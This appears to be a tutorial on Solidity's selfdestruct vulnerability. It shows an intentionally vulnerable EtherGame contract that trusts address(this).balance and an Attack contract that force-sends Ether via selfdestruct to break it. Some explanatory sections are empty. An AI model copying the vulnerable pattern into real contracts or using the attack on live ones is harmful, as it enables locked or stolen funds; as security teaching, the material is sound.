This is one of the classic Solidity security lessons — the Self-destruct vulnerability — and it’s a neat example of why you should never trust address(this).balance inside your contract logic. Let’s break it down like a detective at a digital crime scene.


The innocent game 🎮

contract EtherGame {
    uint256 public constant TARGET_AMOUNT = 7 ether;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint256 balance = address(this).balance;
        require(balance <= TARGET_AMOUNT, "Game is over");

        if (balance == TARGET_AMOUNT) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent,) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
}

What’s happening here:

The contract thinks it’s safe because:

But that “safety” relies on this line:

uint256 balance = address(this).balance;

And that’s the mistake.


The malicious trick 🎭

Here comes the Attack contract:

contract Attack {
    EtherGame etherGame;

    constructor(EtherGame _etherGame) {
        etherGame = EtherGame(_etherGame);
    }

    function attack() public payable {
        address payable addr = payable(address(etherGame));
        selfdestruct(addr);
    }
}

What it does: